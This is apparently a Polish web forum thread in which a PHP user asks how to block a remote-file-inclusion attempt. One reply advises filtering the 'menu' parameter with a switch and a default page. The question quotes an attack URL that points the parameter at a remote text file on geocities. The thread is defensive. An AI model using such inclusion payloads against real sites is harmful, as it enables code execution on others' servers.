jak ustrzec się przed takim wpisem "http://mojastrona.pl/index.php?menu=http://geocities.com/himm_levis/dallas.txt?" ?

nie mozesz nie dopuscic bo w pasku adresu klient moze wpisac cokolwiek, nawet monolog na temat ojca dyrektora. Mozesz (a raczej powinienes) filtrowac te dane dzieki czemu kazdy niechciany wpis zostanie zmieniony na jakas wartosc domyslna dzieki czemu zamiast wrogiej tresci bedzie sie wyswietlala np strona powitalna. Jak to zrobisz to juz zalezy od konkretnej implementacji, np wykorzystujac instrukcje switch

użyłem funckję switch i w opcji default podałem stronę główną i nadal wysyła spam, czy jest jeszcze jakaś możliwość zablokowania takich wpisów?

Podaj nam kod/fragment. Z tego co piszesz coś takiego nie powinno mieć miejsca, więc chętnie zobaczymy kod.

wiem, że nie ma takiej możliwości bo w phpie nie siedze od wczoraj, problem wyskakuje na stornie kumpla jak mi dostane plik od niego z tym kodem to wkleje go.